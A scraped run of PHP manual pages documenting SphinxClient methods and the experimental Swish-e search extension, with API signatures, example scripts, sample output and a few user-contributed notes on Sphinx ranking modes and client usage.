moosh at php dot net 09-Feb-2013 06:21
Sphinx search support now more than  3 ranking  mode.

1) SPH_RANK_NONE ranker just assigns every document weight to 1.

2) SPH_RANK_WORDCOUNT ranker counts all the keyword occurrences and multiplies them by user field weights.

3) SPH_RANK_FIELDMASK ranker returns a bit mask of matched fields.

4) SPH_RANK_PROXIMITY, the default ranker in SPH_MATCH_ALL legacy mode, simply passes the phrase proximity for a weight.

5) SPH_RANK_MATCHANY ranker, used to emulate legacy MATCH_ANY mode, combines phrase proximity and the number of matched keywords so that, with default per-field weights, a) longer sub-phrase match (aka bigger phrase proximity) in any field would rank higher, and b) in case of agreeing phrase proximity, document with more matched unique keywords would rank higher. In other words, we look at max sub-phrase match length first, and a number of unique matched keywords second. In pseudo-code,

6) SPH_RANK_PROXIMITY_BM25, the default SphinxQL ranker and also the default ranker when “extended” matching mode is used with SphinxAPI

7) SPH_RANK_BM25 ranker sums user weights of the matched fields and BM25.

8) SPH_RANK_SPH04 ranker further improves on PROXIMITY_BM25 ranker (and introduces numbers instead of meaningful names, too, because a name would be way too complicated). Phrase proximity is still the leading factor, but, within a given phrase proximity, matches in the beginning of the field are ranked higher, and exact matches of the entire field are ranked highest.

SOURCE & Details : http://sphinxsearch.com/blog/2010/08/17/how-sphinx-relevance-ranking-works/


Set retry count and delay

  • « SphinxClient::setRankingMode
  • SphinxClient::setSelect »
  • PHP Manual
  • SphinxClient
  • Set retry count and delay

SphinxClient::setRetries

(PECL sphinx >= 0.1.0)

SphinxClient::setRetries — Set retry count and delay

Description

public bool SphinxClient::setRetries ( int $count [, int $delay = 0 ] )

Sets distributed retry count and delay.

On temporary failures searchd will attempt up to count retries per agent. delay is the delay between the retries, in milliseconds. Retries are disabled by default. Note that this call will not make the API itself retry on temporary failure; it only tells searchd to do so.

Parameters

count

Number of retries.

delay

Delay between retries, in milliseconds.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set select clause

  • « SphinxClient::setRetries
  • SphinxClient::setServer »
  • PHP Manual
  • SphinxClient
  • Set select clause

SphinxClient::setSelect

(PECL sphinx >= 1.0.1)

SphinxClient::setSelect — Set select clause

Description

public bool SphinxClient::setSelect ( string $clause )

Sets the select clause, listing specific attributes to fetch, and expressions to compute and fetch.

Parameters

clause

SQL-like clause.

Changelog

PECL/sphinx Version | Description
1.0.1 | Added SphinxClient::setSelect(), available only if compiled with libsphinxclient >= 0.9.9.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set searchd host and port

  • « SphinxClient::setSelect
  • SphinxClient::setSortMode »
  • PHP Manual
  • SphinxClient
  • Set searchd host and port

SphinxClient::setServer

(PECL sphinx >= 0.1.0)

SphinxClient::setServer — Set searchd host and port

Description

public bool SphinxClient::setServer ( string $server , int $port )

Sets searchd host name and TCP port. All subsequent requests will use the new host and port settings. Default host and port are 'localhost' and 3312, respectively.

Parameters

server

IP or hostname.

port

Port number.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

craig dot constable at gmail dot com 20-Aug-2012 03:18
<?php
    //Here is an example of using the Sphinx api client
    $server = "192.168.0.100:3306";
    $username = "johnsmith";
    $password = "Password1";
    $database = "customers";
    function newSQL() {
        global $server, $username, $password, $database;
        $con = new mysqli($server, $username, $password, $database);
        return $con;
    }

    include('sphinxapi.php');

    $search = '@postcode 2012';
    $s = new SphinxClient;
    $s->SetServer("192.168.0.100", 9312);
    $s->SetMatchMode(SPH_MATCH_EXTENDED2);
    $s->SetSortMode (SPH_SORT_EXTENDED,'@random');
    $s->SetLimits(0, $times);
    $index = 'main:delta';
    $result = $s->Query($search, $index);

    if ($result['total'] > 0) {
        foreach ($result['matches'] as $id => $other) {
            $people .= "pid=$id OR ";
        }
        $people = substr($people, 0, -4);
    }

    $mysqli = newSQL();
    $mysqliResult = $mysqli->query("SELECT `pid`, `name`, `postcode` FROM `profiles` WHERE ($people)");
    //Do something with $mysqliResult
    $mysqli->close();
?>


Set matches sorting mode

  • « SphinxClient::setServer
  • SphinxClient::status »
  • PHP Manual
  • SphinxClient
  • Set matches sorting mode

SphinxClient::setSortMode

(PECL sphinx >= 0.1.0)

SphinxClient::setSortMode — Set matches sorting mode

Description

public bool SphinxClient::setSortMode ( int $mode [, string $sortby ] )

Sets matches sorting mode. See available modes below.

Sorting modes
Constant | Description
SPH_SORT_RELEVANCE | Sort by relevance in descending order (best matches first).
SPH_SORT_ATTR_DESC | Sort by an attribute in descending order (bigger attribute values first).
SPH_SORT_ATTR_ASC | Sort by an attribute in ascending order (smaller attribute values first).
SPH_SORT_TIME_SEGMENTS | Sort by time segments (last hour/day/week/month) in descending order, and then by relevance in descending order.
SPH_SORT_EXTENDED | Sort by SQL-like combination of columns in ASC/DESC order.
SPH_SORT_EXPR | Sort by an arithmetic expression.

Parameters

mode

Sorting mode.

sortby

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setMatchMode
  • SphinxClient::setSortMode

User Contributed Notes

There are no user contributed notes for this page.


Queries searchd status

  • « SphinxClient::setSortMode
  • SphinxClient::updateAttributes »
  • PHP Manual
  • SphinxClient
  • Queries searchd status

SphinxClient::status

(PECL sphinx >= 1.0.3)

SphinxClient::status — Queries searchd status

Description

public array SphinxClient::status ( void )

Queries searchd status, and returns an array of status variable name and value pairs.

Parameters

This function has no parameters.

Changelog

PECL/sphinx Version | Description
1.0.3 | Added SphinxClient::status(), available only if compiled with libsphinxclient >= 0.9.9.

Return Values

Returns an associative array of search server statistics or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Update document attributes

  • « SphinxClient::status
  • Swish »
  • PHP Manual
  • SphinxClient
  • Update document attributes

SphinxClient::updateAttributes

(PECL sphinx >= 0.1.0)

SphinxClient::updateAttributes — Update document attributes

Description

public int SphinxClient::updateAttributes ( string $index , array $attributes , array $values [, bool $mva = false ] )

Instantly updates given attribute values in given documents.

Parameters

index

Name of the index (or indexes) to be updated.

attributes

Array of attribute names, listing attributes that are updated.

values

Associative array containing document IDs as keys and array of attribute values as values.

Return Values

Returns number of actually updated documents (0 or more) on success, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Swish Indexing

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Swish Functions
    • Swish::__construct — Construct a Swish object
    • Swish::getMetaList — Get the list of meta entries for the index
    • Swish::getPropertyList — Get the list of properties for the index
    • Swish::prepare — Prepare a search query
    • Swish::query — Execute a query and return results object
    • SwishResult::getMetaList — Get a list of meta entries
    • SwishResult::stem — Stems the given word
    • SwishResults::getParsedWords — Get an array of parsed words
    • SwishResults::getRemovedStopwords — Get an array of stopwords removed from the query
    • SwishResults::nextResult — Get the next search result
    • SwishResults::seekResult — Set current seek pointer to the given position
    • SwishSearch::execute — Execute the search and get the results
    • SwishSearch::resetLimit — Reset the search limits
    • SwishSearch::setLimit — Set the search limits
    • SwishSearch::setPhraseDelimiter — Set the phrase delimiter
    • SwishSearch::setSort — Set the sort order
    • SwishSearch::setStructure — Set the structure flag in the search object

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The swish extension provides the bindings for Swish-e API. Swish-e stands for "Simple Web Indexing System for Humans - Enhanced" and is an open source system for indexing and search. Swish-e itself is licensed under GPL license, but uses a clause that allows applications to link against the library if every copy of the combined work is accompanied by the URL to Swish-e source code. Here it is: » http://swish-e.org.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PECL/swish requires PHP 5.1.3 or newer.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/swish.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Swish::META_TYPE_UNDEF (integer)
Swish::META_TYPE_STRING (integer)
Swish::META_TYPE_ULONG (integer)
Swish::META_TYPE_DATE (integer)
Swish::IN_FILE_BIT (integer)
Swish::IN_TITLE_BIT (integer)
Swish::IN_HEAD_BIT (integer)
Swish::IN_BODY_BIT (integer)
Swish::IN_COMMENTS_BIT (integer)
Swish::IN_HEADER_BIT (integer)
Swish::IN_EMPHASIZED_BIT (integer)
Swish::IN_META_BIT (integer)
Swish::IN_FILE (integer)
Swish::IN_TITLE (integer)
Swish::IN_HEAD (integer)
Swish::IN_BODY (integer)
Swish::IN_COMMENTS (integer)
Swish::IN_HEADER (integer)
Swish::IN_EMPHASIZED (integer)
Swish::IN_META (integer)
Swish::IN_ALL (integer)

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Example #1 Basic search query

<?php

try {

    $swish = new Swish("index.swish-e");
    $results = $swish->query("test OR text");

    echo "Found ", $results->hits, " results\n";
    while ($result = $results->nextResult()) {
        var_dump($result);
        break; //break after the first result
    }

} catch (SwishException $e) {
    echo "Error: ", $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

Found 9 results
object(SwishResult)#3 (8) {
  ["swishreccount"]=>
  int(1)
  ["swishrank"]=>
  int(1000)
  ["swishfilenum"]=>
  int(10)
  ["swishdbfile"]=>
  string(13) "index.swish-e"
  ["swishdocpath"]=>
  string(23) "README.SUBMITTING_PATCH"
  ["swishtitle"]=>
  NULL
  ["swishdocsize"]=>
  int(4557)
  ["swishlastmodified"]=>
  int(1072136752)
}

User Contributed Notes

There are no user contributed notes for this page.


Swish Functions

Table of Contents

  • Swish::__construct — Construct a Swish object
  • Swish::getMetaList — Get the list of meta entries for the index
  • Swish::getPropertyList — Get the list of properties for the index
  • Swish::prepare — Prepare a search query
  • Swish::query — Execute a query and return results object
  • SwishResult::getMetaList — Get a list of meta entries
  • SwishResult::stem — Stems the given word
  • SwishResults::getParsedWords — Get an array of parsed words
  • SwishResults::getRemovedStopwords — Get an array of stopwords removed from the query
  • SwishResults::nextResult — Get the next search result
  • SwishResults::seekResult — Set current seek pointer to the given position
  • SwishSearch::execute — Execute the search and get the results
  • SwishSearch::resetLimit — Reset the search limits
  • SwishSearch::setLimit — Set the search limits
  • SwishSearch::setPhraseDelimiter — Set the phrase delimiter
  • SwishSearch::setSort — Set the sort order
  • SwishSearch::setStructure — Set the structure flag in the search object

User Contributed Notes

There are no user contributed notes for this page.


Construct a Swish object

  • « Swish Functions
  • Swish::getMetaList »
  • PHP Manual
  • Swish Functions
  • Construct a Swish object

Swish::__construct

(PECL swish >= 0.1.0)

Swish::__construct — Construct a Swish object

Description

void Swish::__construct ( string $index_names )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

index_names

The list of index files separated by spaces.

Return Values

No value is returned.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 A Swish::__construct() example

<?php

try {
    $swish = new Swish("index1 index2");
} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

foreach ($swish->indexes as $index) {
    var_dump($index["name"]);
    var_dump($index["headers"]["Total Words"]);
}

?>

The above example will output something similar to:

string(6) "index1"
int(1888)
string(6) "index2"
int(2429)

User Contributed Notes

There are no user contributed notes for this page.


Get the list of meta entries for the index

  • « Swish::__construct
  • Swish::getPropertyList »
  • PHP Manual
  • Swish Functions
  • Get the list of meta entries for the index

Swish::getMetaList

(PECL swish >= 0.1.0)

Swish::getMetaList — Get the list of meta entries for the index

Description

array Swish::getMetaList ( string $index_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

index_name

The name of the index file.

Return Values

Returns an array of meta entries for the given index.

Examples

Example #1 Basic Swish::getMetaList() example

<?php

try {

    $swish = new Swish("index.swish-e");
    var_dump($swish->getMetaList("index.swish-e"));

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(3) {
    ["Name"]=>
    string(12) "swishdefault"
    ["Type"]=>
    int(0)
    ["ID"]=>
    int(1)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Get the list of properties for the index

  • « Swish::getMetaList
  • Swish::prepare »
  • PHP Manual
  • Swish Functions
  • Get the list of properties for the index

Swish::getPropertyList

(PECL swish >= 0.1.0)

Swish::getPropertyList — Get the list of properties for the index

Description

array Swish::getPropertyList ( string $index_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

index_name

The name of the index file.

Return Values

Returns an array of properties for the given index.

Examples

Example #1 Basic Swish::getPropertyList() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $properties = $swish->getPropertyList("index.swish-e");
    foreach ($properties as $prop) {
        echo $prop["Name"],"\n";
    }

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

swishreccount
swishrank
swishfilenum
swishdbfile
swishdocpath
swishtitle
swishdocsize
swishlastmodified

User Contributed Notes

There are no user contributed notes for this page.


Prepare a search query

  • « Swish::getPropertyList
  • Swish::query »
  • PHP Manual
  • Swish Functions
  • Prepare a search query

Swish::prepare

(PECL swish >= 0.1.0)

Swish::prepare — Prepare a search query

Description

object Swish::prepare ([ string $query ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Prepare and return a search object, which you can later use for unlimited number of queries.

Parameters

query

Optional query string. The query can be also set using SwishSearch::execute() method.

Return Values

Returns SwishSearch object.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic Swish::prepare() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare("search query");
    $results = $search->execute();
    echo "Found: ", $results->hits, " hits\n";

    $results = $search->execute("new search");

    echo "Found: ", $results->hits, " hits\n";
} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

Found: 2 hits
Found: 5 hits

User Contributed Notes

There are no user contributed notes for this page.


Execute a query and return results object

  • « Swish::prepare
  • SwishResult::getMetaList »
  • PHP Manual
  • Swish Functions
  • Execute a query and return results object

Swish::query

(PECL swish >= 0.1.0)

Swish::query — Execute a query and return results object

Description

object Swish::query ( string $query )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

A quick method to execute a search with default parameters.

Parameters

query

Query string.

Return Values

Returns SwishResults object.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic Swish::query() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $results = $swish->query("test query");

    echo "Found: ", $results->hits, " hits\n";

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

Found: 1 hits

User Contributed Notes

There are no user contributed notes for this page.


Get a list of meta entries

  • « Swish::query
  • SwishResult::stem »
  • PHP Manual
  • Swish Functions
  • Get a list of meta entries

SwishResult::getMetaList

(PECL swish >= 0.1.0)

SwishResult::getMetaList — Get a list of meta entries

Description

array SwishResult::getMetaList ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Return Values

Returns the same array as swish::getmetalist(), but uses the index file from the result handle.

User Contributed Notes

There are no user contributed notes for this page.


Stems the given word

  • « SwishResult::getMetaList
  • SwishResults::getParsedWords »
  • PHP Manual
  • Swish Functions
  • Stems the given word

SwishResult::stem

(PECL swish >= 0.1.0)

SwishResult::stem — Stems the given word

Description

array SwishResult::stem ( string $word )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Stems the word based on the fuzzy mode used during indexing. Each result object is linked with its index, so the results are based on this index.

Parameters

word

The word to stem.

Return Values

Returns array containing the stemmed word variants (usually just one).

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic SwishResult::stem() example

<?php

try {

    $swish = new Swish("ext/swish/tests/index.swish-e");
    $results = $swish->query("testing OR others");

    if ($result = $results->nextResult()) {
        var_dump($result->stem("testing")); //the results fully depend on the stemmer used in the index
        var_dump($result->stem("others"));
    }

} catch (SwishException $e) {
    echo "Error: ", $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

array(1) {
  [0]=>
  string(4) "test"
}
array(1) {
  [0]=>
  string(5) "other"
}

User Contributed Notes

There are no user contributed notes for this page.


Get an array of parsed words

  • « SwishResult::stem
  • SwishResults::getRemovedStopwords »
  • PHP Manual
  • Swish Functions
  • Get an array of parsed words

SwishResults::getParsedWords

(PECL swish >= 0.1.0)

SwishResults::getParsedWords — Get an array of parsed words

Description

array SwishResults::getParsedWords ( string $index_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

indexi_name

The name of the index used to initialize Swish object.

Return Values

An array of parsed words with stopwords removed. The list of parsed words may be useful for highlighting search terms in the results.

Examples

Example #1 Basic SwishResults::getParsedWords() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $results = $swish->query("'some characters' and numbers");

    var_dump($results->getParsedWords("index.swish-e"));
    var_dump($results->indexes[0]['parsed_words']); //same result in a different way

} catch (SwishException $e) {
    echo "Error: ", $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

array(4) {
  [0]=>
  string(4) "some"
  [1]=>
  string(10) "characters"
  [2]=>
  string(3) "and"
  [3]=>
  string(7) "numbers"
}
array(4) {
  [0]=>
  string(4) "some"
  [1]=>
  string(10) "characters"
  [2]=>
  string(3) "and"
  [3]=>
  string(7) "numbers"
}

User Contributed Notes

There are no user contributed notes for this page.


Get an array of stopwords removed from the query

  • « SwishResults::getParsedWords
  • SwishResults::nextResult »
  • PHP Manual
  • Swish Functions
  • Get an array of stopwords removed from the query

SwishResults::getRemovedStopwords

(PECL swish >= 0.1.0)

SwishResults::getRemovedStopwords — Get an array of stopwords removed from the query

Description

array SwishResults::getRemovedStopwords ( string $index_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

index_name

The name of the index used to initialize Swish object.

Return Values

Returns array of stopwords removed from the query.

User Contributed Notes

There are no user contributed notes for this page.


Get the next search result

  • « SwishResults::getRemovedStopwords
  • SwishResults::seekResult »
  • PHP Manual
  • Swish Functions
  • Get the next search result

SwishResults::nextResult

(PECL swish >= 0.1.0)

SwishResults::nextResult — Get the next search result

Description

object SwishResults::nextResult ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Return Values

Returns the next SwishResult object in the result set or FALSE if there are no more results available.

Examples

Example #1 Basic SwishResults::nextResult() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("lost");
    while($result = $results->nextResult()) {
        /* do something with the result object */
    }

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Set current seek pointer to the given position

  • « SwishResults::nextResult
  • SwishSearch::execute »
  • PHP Manual
  • Swish Functions
  • Set current seek pointer to the given position

SwishResults::seekResult

(PECL swish >= 0.1.0)

SwishResults::seekResult — Set current seek pointer to the given position

Description

int SwishResults::seekResult ( int $position )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

position

Zero-based position number. Cannot be less than zero.

Return Values

Returns new position value on success.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic SwishResults::seekResult() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("lost");

    var_dump($results->seekResult(0)); //this will succeed
    var_dump($results->seekResult(100)); //this will fail

} catch (SwishException $e) {
    echo "Error: ", $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

int(0)
Error: No more results

User Contributed Notes

There are no user contributed notes for this page.


Execute the search and get the results

  • « SwishResults::seekResult
  • SwishSearch::resetLimit »
  • PHP Manual
  • Swish Functions
  • Execute the search and get the results

SwishSearch::execute

(PECL swish >= 0.1.0)

SwishSearch::execute — Execute the search and get the results

Description

object SwishSearch::execute ([ string $query ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Searches the index file(s) based on the parameters set in the search object.

Parameters

query

The query string is an optional parameter, it can be also set using Swish::prepare() method. The query string is preserved between executions, so you can set it once, but execute the search multiple times.

Return Values

Returns SwishResults object.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic SwishSearch::execute() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("query");
    echo "First query found: ", $results->hits, " hits\n";

    $results = $search->execute("new OR query");
    echo "Second query found: ", $results->hits, " hits\n";

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 2 hits
Second query found: 12 hits

User Contributed Notes

There are no user contributed notes for this page.


Reset the search limits

  • « SwishSearch::execute
  • SwishSearch::setLimit »
  • PHP Manual
  • Swish Functions
  • Reset the search limits

SwishSearch::resetLimit

(PECL swish >= 0.1.0)

SwishSearch::resetLimit — Reset the search limits

Description

void SwishSearch::resetLimit ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Reset the search limits previous set by SwishSearch::setLimit.

Return Values

No value is returned.

Examples

Example #1 Basic SwishSearch::resetLimit() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("time");
    echo "First query found: ", $results->hits, " hits\n";

    $search->setLimit("swishdocsize", "3000", "6000"); //limit by document size, from 3000 to 6000 bytes
    $results = $search->execute("time");
    echo "Second query found: ", $results->hits, " hits\n";

    $search->resetLimit();
    $results = $search->execute("time");
    echo "Third query found: ", $results->hits, " hits\n";

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 5 hits
Second query found: 2 hits
Third query found: 5 hits

User Contributed Notes

There are no user contributed notes for this page.


Set the search limits

  • « SwishSearch::resetLimit
  • SwishSearch::setPhraseDelimiter »
  • PHP Manual
  • Swish Functions
  • Set the search limits

SwishSearch::setLimit

(PECL swish >= 0.1.0)

SwishSearch::setLimit — Set the search limits

Description

void SwishSearch::setLimit ( string $property , string $low , string $high )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

property

Search result property name.

low

The lowest value of the property.

high

The highest value of the property.

Return Values

No value is returned.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic SwishSearch::setLimit() example

<?php
try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("time");
    echo "First query found: ", $results->hits, " hits\n";

    $i = 0;
    while($result = $results->nextResult()) {
        echo "Hit #", ++$i, " - ", $result->swishdocsize, " bytes\n";
    }

    $search->setLimit("swishdocsize", "3000", "6000"); //limit by document size, from 3000 to 6000 bytes
    $results = $search->execute("time");
    echo "Second query found: ", $results->hits, " hits\n";

    $i = 0;
    while($result = $results->nextResult()) {
        echo "Hit #", ++$i, " - ", $result->swishdocsize, " bytes\n";
    }

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 5 hits
Hit #1 - 4261 bytes
Hit #2 - 37937 bytes
Hit #3 - 7126 bytes
Hit #4 - 15427 bytes
Hit #5 - 4768 bytes
Second query found: 2 hits
Hit #1 - 4261 bytes
Hit #2 - 4768 bytes

User Contributed Notes

There are no user contributed notes for this page.


Set the phrase delimiter

  • « SwishSearch::setLimit
  • SwishSearch::setSort »
  • PHP Manual
  • Swish Functions
  • Set the phrase delimiter

SwishSearch::setPhraseDelimiter

(PECL swish >= 0.1.0)

SwishSearch::setPhraseDelimiter — Set the phrase delimiter

Description

void SwishSearch::setPhraseDelimiter ( string $delimiter )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

delimiter

Phrase delimiter character. The default delimiter is double-quotes.

Return Values

No value is returned.

Examples

Example #1 Basic SwishSearch::setPhraseDelimiter() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute('"every time"'); //looking for "every time"
    echo "First query found: ", $results->hits, " hits\n";

    $search->setPhraseDelimiter("'");
    $results = $search->execute("'every time'"); //the same query, but using different delimiter
    echo "Second query found: ", $results->hits, " hits\n";

    $search->setPhraseDelimiter('"');
    $results = $search->execute("'every time'"); //looking for "every" and "time"
    echo "Third query found: ", $results->hits, " hits\n";

    //let's look at parsed words
    var_dump($results->getParsedWords("index.swish-e"));

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 1 hits
Second query found: 1 hits
Third query found: 2 hits
array(2) {
  [0]=>
  string(5) "every"
  [1]=>
  string(4) "time"
}

User Contributed Notes

There are no user contributed notes for this page.


Set the sort order

  • « SwishSearch::setPhraseDelimiter
  • SwishSearch::setStructure »
  • PHP Manual
  • Swish Functions
  • Set the sort order

SwishSearch::setSort

(PECL swish >= 0.1.0)

SwishSearch::setSort — Set the sort order

Description

void SwishSearch::setSort ( string $sort )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

sort

Sort order of the results is a string containing name of a result property combined with sort direction ("asc" or "desc"). Examples: "swishrank desc", "swishdocpath asc", "swishtitle asc", "swishdocsize desc", "swishlastmodified desc" etc.

Return Values

No value is returned.

Examples

Example #1 Basic SwishSearch::setSort() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("time");
    echo "First query found: ", $results->hits, " hits\n";

    $i = 0;
    while($result = $results->nextResult()) {
        echo "Hit #", ++$i, " - ", $result->swishdocsize, " bytes\n";
    }

    $search->setSort("swishdocsize desc"); //sort by document size
    $results = $search->execute("time");
    echo "Second query found: ", $results->hits, " hits\n";

    $i = 0;
    while($result = $results->nextResult()) {
        echo "Hit #", ++$i, " - ", $result->swishdocsize, " bytes\n";
    }

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 5 hits
Hit #1 - 4261 bytes
Hit #2 - 37937 bytes
Hit #3 - 7126 bytes
Hit #4 - 15427 bytes
Hit #5 - 4768 bytes
Second query found: 5 hits
Hit #1 - 37937 bytes
Hit #2 - 15427 bytes
Hit #3 - 7126 bytes
Hit #4 - 4768 bytes
Hit #5 - 4261 bytes

User Contributed Notes

There are no user contributed notes for this page.


Set the structure flag in the search object

  • « SwishSearch::setSort
  • Server Specific Extensions »
  • PHP Manual
  • Swish Functions
  • Set the structure flag in the search object

SwishSearch::setStructure

(PECL swish >= 0.1.0)

SwishSearch::setStructure — Set the structure flag in the search object

Description

void SwishSearch::setStructure ( int $structure )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

structure

The structure flag a bitmask is used to limit search to certain parts of HTML documents (like title, meta, body etc.). Its possible values are listed below. To combine several values use bitwise OR operator, see example below.

  • Swish::IN_FILE

  • Swish::IN_TITLE

  • Swish::IN_HEAD

  • Swish::IN_BODY

  • Swish::IN_COMMENTS

  • Swish::IN_HEADER

  • Swish::IN_EMPHASIZED

  • Swish::IN_META

Return Values

No value is returned.

Examples

Example #1 Basic SwishSearch::setStructure() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("time");
    echo "First query found: ", $results->hits, " hits\n";

    $search->setStructure(Swish::IN_TITLE|Swish::IN_HEAD); //search in title and head
    $results = $search->execute("time");
    echo "Second query found: ", $results->hits, " hits\n";

    $search->setStructure(Swish::IN_ALL); //search in whole document, the default value
    $results = $search->execute("time");
    echo "Third query found: ", $results->hits, " hits\n";

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 5 hits
Second query found: 0 hits
Third query found: 5 hits

User Contributed Notes

There are no user contributed notes for this page.


Server Specific Extensions

  • Apache
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Apache Functions
  • FastCGI Process Manager
    • Introduction
    • Installing/Configuring
    • FPM Functions
  • IIS — IIS Administration
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • IIS Functions
  • NSAPI
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • NSAPI Functions

User Contributed Notes

There are no user contributed notes for this page.


Apache

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Apache Functions
    • apache_child_terminate — Terminate apache process after this request
    • apache_get_modules — Get a list of loaded Apache modules
    • apache_get_version — Fetch Apache version
    • apache_getenv — Get an Apache subprocess_env variable
    • apache_lookup_uri — Perform a partial request for the specified URI and return all info about it
    • apache_note — Get and set apache request notes
    • apache_request_headers — Fetch all HTTP request headers
    • apache_reset_timeout — Reset the Apache write timer
    • apache_response_headers — Fetch all HTTP response headers
    • apache_setenv — Set an Apache subprocess_env variable
    • getallheaders — Fetch all HTTP request headers
